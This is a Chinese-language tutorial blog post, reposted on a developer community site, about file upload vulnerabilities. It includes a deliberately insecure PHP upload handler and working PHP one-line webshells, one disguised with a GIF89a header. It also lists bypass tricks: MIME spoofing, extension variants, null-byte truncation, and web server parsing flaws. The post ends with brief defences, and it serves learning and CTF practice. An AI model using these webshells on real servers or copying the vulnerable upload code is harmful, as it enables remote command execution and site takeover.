前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >一句话木马(新)[通俗易懂]

一句话木马(新)[通俗易懂]

作者头像
Java架构师必看
发布于 2022-02-10 00:03:35
发布于 2022-02-10 00:03:35
2.7K00
代码可运行
举报
文章被收录于专栏:Java架构师必看Java架构师必看
运行总次数:0
代码可运行

大家好,我是架构君,一个会写代码吟诗的架构师。今天说一说一句话木马(新)[通俗易懂],希望能够帮助大家进步!!!

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击是最为直接和有效的,“文件上传”本身是没有问题,有问题的是文件上传后,服务器怎么处理,解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果,。

0|10x01漏洞条件

文件可上传

知道文件上传的路径

上传文件可以被访问

上传文件可以被执行

0|10x02 挖掘思路

上传点都调用同一个上传类,直接全局搜索上传函数

黑盒寻找上传点,代码定位。

0|10x03 写一个上传

我们先写一个上传的前端

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 <html> <head> <meta charset="UTF-8"> <title>upload.html</title> </head> <body> <form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" name="上传文件"> <!--<input type="hidden" name="MAX_FILE_SIZE" name="4098">//设置文件上传大小,一般在php.ini里面设置--> </form> </body> </html>  

写一个上传php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 <?php $upload_dir = "D:\PHPSTUDY2018\PHPTutorial\WWW\upload"; if(isset($_FILES['file'])){ $upload_name = $upload_dir . "\\" . $_FILES['file']; move_uploaded_file($_FILES['file']['tmp_name'],$upload_name); echo "Type:" . $_FILES['file']['type']. "<br >"; echo "Size:" . ($_FILES['file']['size'] / 1024) . "<br >"; echo "Name:" . $_FILES['file']['name'];//这三行是我们看一下上传效果。 }else{ echo"上传失败"; }  

写一个最简单的一句话

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 <?php @eval($_POST['777']) ?>  

上传:

看到上传成功

之后拿蚁剑连接就行

这是一个最简单最简单的例子,只是让自己开始往白盒方向转变。慢慢积累

0|10x04 文件上传绕过

1:客户端js检测检测绕过

检测原理

在客户端通过javascript代码来检测用户提交的文件是否合法

绕过方法

  1. 添加允许上传的文件类型,使自己想要上传的会见类型为合法

2、删除对js验证脚本的调用,使其不能对上传的文件类型做检测,从而达到绕过 -同样的通过审查元素,查看到form表单的内容,form的开始标签为

,其中的onsubmit="return checkFile()的作用就是当点击上传按钮的时候,就会触发js验证脚本,所以将这一部分删除,变可以成功绕过检测

3、利用burpsuite抓包,修改文件类型进行绕过-首先将我们想要上传的恶意脚本的后缀更改为符合要求的文件类型后缀如:webshell.php -> webshell.jpg-当点击上传的时候使用burp进行抓包,将名字的后缀改回.php,以便上传至服务器能够正确解析

2:服务端绕过

1:MIME类型检测绕过

检测原理

当用户上传文件到服务器端的时候,服务器端的程序会获取上传文件的MIME类型,然后用这个获取到的类型来和期望的MIME类型进行匹配,如果匹配不上则说明上传的文件不合法。服务端检测MIME类型的代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')){ ...//判断过后对文件处理的进一步操作 }  

绕过方法

因为服务端检测的是文件的MIME类型,而对这个MIME类型的的值的获取是通过HTTP请求字段里的Content-Type字段 ,所以绕过的方法就是通过修改Content-Type的值,比如修改为image/jpeg;image/png;image/gif等等允许上传类型对应的MIME值

2:黑名单绕过

检测原理

文件类型根据黑名单来检测的原理就是:服务器程序根据一份文件后缀名的名单来判断是否允许当前文件上传到服务器,只要上传的文件的类型能够和这个黑名单里面的类型匹配,那么就禁止该文件上传

绕过方法

  1. 文件名大小写绕过 用像AsP, pHp之类的文件名绕过黑名单检测2. 名单列表绕过 用黑名单里没有的名单进行攻击,比如黑名单里没有asa或cer之类
  2. 特殊文件名绕过 比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会 被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。 4.0x00截断绕过
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 test.php(0x00).jpg  test.php%00.jpg  
  1. .htaccess文件攻击
  2. 解析调用/漏洞绕过 7:.ini文件攻击 8:文件头绕过

在木马内容基础上再加了一些文件信息,有点像下面的结构GIF89a<?php phpinfo(); ?>

9:多个Content-Disposition

在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP

10:目录验证

iis6.0存在写入目录

3:web应用程序解析绕过

1. Apache解析漏洞

解析:test.php.(任意不属于黑名单且也不属于Apache解析白名单的名称),比如test.php.lala

描述:一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错

2. IIS解析漏洞

解析 :test.asp/(任意文件名)|test.asp;(任意文件名) | (任意文件名)/(任意文件名).php

描述:IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,

那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"会优先按asp来解析

IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;

3. Nginx解析漏洞

解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php

描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。

还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

0|10x05 我打ctf经常用的一句话

1:碰到过一次任意文件上穿漏洞,在config.php中并未发现定义类型Media,请求:upload/.php?Type=Media

2:上传图片马

3:序列化木马:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 <?php class A{ var $a = "<?php phpinfo()?>"; } $aa = new A(); echo serialize($aa); ?>  

4:php,php3,php4,php5,phtml.pht

5:扩展名绕过

Asp:asa cer cdx

Aspx:ashx asmx ascx

Php:php3 phptml

Jsp:jspx jspf

6:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 <script language=php>system("ls")</script>  

7:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 GIF89a? <script language="php">eval($_REQUEST[shell])</script>  

0|10x06 防御

文件扩展名服务端白名单校验。

文件内容服务端校验。

上传文件重命名

隐藏上传文件路径。

参考链接https://www.cnblogs.com/ldhbetter/p/9190556.html

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
聊聊安全测试中如何快速搞定Webshell
WEB安全漏洞中,与文件操作相关的漏洞类型就不少,在大部分的渗透测试过程中,上传文件(大、小马)是必不可少的一个流程,然而各种各样的防火墙拦截了文件上传,遂整理文件操作相关漏洞的各种姿势,如有不妥之处,还望各位斧正,小东感激不尽。
FB客服
2019/05/14
1.1K0
关于File Upload的一些思考
在web渗透中,文件上传是最简单直接的方式之一。但是碰到完全不做校验的代码直接上传getshell,很难有这样的运气;大部分时候都有检测,甚至多处设卡。
FB客服
2020/02/12
9600
关于File Upload的一些思考
浅谈常见的文件上传的检测方式与绕过方法
文件上传漏洞是我们平时渗透过程中经常利用的漏洞,利用文件上传我们可以直接得到webshell,是非常直接的攻击方式。写这篇文章主要是想对常见的文件上传检测和绕过进行总结,同时练习文件上传php代码的编写。
程序员纬度
2021/03/02
2.2K0
Upload-labs通关笔记(一)
Upload-labs是一个帮你总结所有类型的上传漏洞的靶场 项目地址:https://github.com/c0ny1/upload-labs
网络安全自修室
2020/07/22
1.6K0
还不会漏洞上传吗?一招带你解决!
由于开发者安全意识不足,或者编写代码时对上传文件的合法校验存在缺陷,导致上传漏洞的产生。
Java程序猿
2023/04/19
1.4K0
简单粗暴的文件上传漏洞
文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识。俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用。
信安之路
2018/08/08
3.9K0
简单粗暴的文件上传漏洞
web安全一句话木马_web安全入门
大家好,我是架构君,一个会写代码吟诗的架构师。今天说一说web安全一句话木马_web安全入门,希望能够帮助大家进步!!!
Java架构师必看
2022/08/22
5.9K0
web安全一句话木马_web安全入门
CTF实战14 任意文件上传漏洞
该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关
用户1631416
2018/07/25
4.7K0
CTF实战14 任意文件上传漏洞
【文件上传与解析】文件上传与解析漏洞总结v1.0
大多数网站都有文件上传的接口,如果没有对上传的文件类型做严格的限制,会导致攻击者可以上传恶意文件。(例如Webshell)
一名白帽的成长史
2019/10/08
1.7K0
【文件上传与解析】文件上传与解析漏洞总结v1.0
文件上传漏洞攻击与防范方法[通俗易懂]
文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器执行,并最终获得网站控制权限的高危漏洞。
全栈程序员站长
2022/08/03
4.1K0
文件上传漏洞攻击与防范方法[通俗易懂]
Web漏洞 | 文件上传漏洞
文件上传漏洞是指攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。
谢公子
2022/01/13
1.7K0
Web漏洞 | 文件上传漏洞
上传绕过总结
1.前端代码 2.逻辑绕过 3.文件内容检测 4.文件包含、文件备份 5.容器及语言特性 6.畸形报文 4.文件包含、文件备份 8.SQLI方面 上传文件时WAF检测点: 1)请求的url,url是否合法 2)Boundary边界,通过Boundary边界确定内容来检测内容 3)MIME类型,即content-type 4)文件扩展名 5)文件内容 文件上传后导致的常见安全问题一般有: 1)上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。 2)上传文件是Flash的策略
安恒网络空间安全讲武堂
2018/02/06
1.8K0
上传绕过总结
超详细文件上传漏洞总结分析
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
网络安全自修室
2022/01/24
13.4K0
超详细文件上传漏洞总结分析
浅谈如何在渗透测试中快速搞定webshell
最近在代码审计某项目的时候发现了一个文件上传漏洞,但是在生产环境测试的过程中,各种各样的“狗”和“盾”都给拦截了,徒有漏洞,没法儿利用,所以整理整理,杀狗破盾,冲冲冲!
小东同学
2022/07/29
1.3K0
浅谈如何在渗透测试中快速搞定webshell
实战 | 文件上传漏洞之最全代码检测绕过总结
文件上传漏洞是指攻击者上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力。该漏洞在业务应用系统中出现概率较高,究其原因是业务场景中上传附件、头像等功能非常常见,若在系统设计中忽略了相关的安全检查,则容易导致文件上传漏洞。
HACK学习
2022/02/17
15.3K1
实战 | 文件上传漏洞之最全代码检测绕过总结
文件上传靶场练习
同样上传图片码抓包修改后缀即可,比Pass-01多了个对MIME的检测,但对于上传图片码来说就没啥区别
.One
2021/06/16
1.5K0
Getshell | 文件上传绕过整理
WAF绕过 安全狗绕过 1.绕过思路:对文件的内容,数据。数据包进行处理。 关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php" 将form-data; 修改为~form-data; 2.通过替换大小写来进行绕过 Content-Disposition: form-data; name="file"; filename="yjh.php" Content-Type: application/octet
HACK学习
2019/11/14
3.3K0
文件上传解析漏洞
Web网站通常存在文件上传(例如:图片、文档、zip压缩文件^等)只要存在上传功能,就有可能会有上传漏洞的危机。和SQL注入漏洞相比较而言,上传漏洞更加危险,因为该漏洞可以直接上传一个WebShell到服务器上。
Mirror王宇阳
2020/11/12
2K0
文件上传漏洞小结(脱水版)
文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取网站或者服务器的权限。
网络安全自修室
2021/11/25
9620
文件上传漏洞小结(脱水版)
Wolf CMS 新旧两个版本中的文件上传漏洞分析
一、Wolfcms简介 Wolf CMS是一款内容管理系统(CMS),是在GNUGeneral Public License v3下发布的免费软件。Wolf CMS是由PHP语言编写,是Frog CMS的一个分支。在2010年Packet Publishing开源项目评奖的“Most Promising Open Source Project”分类中杀进了决赛。 软件的官网为:https://www.wolfcms.org/ 二、Wolfcms 0.8.2中存在任意文件上传漏洞 2.1 Wolf CMS 0
FB客服
2018/02/28
2.6K0
Wolf CMS 新旧两个版本中的文件上传漏洞分析
相关推荐
聊聊安全测试中如何快速搞定Webshell
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验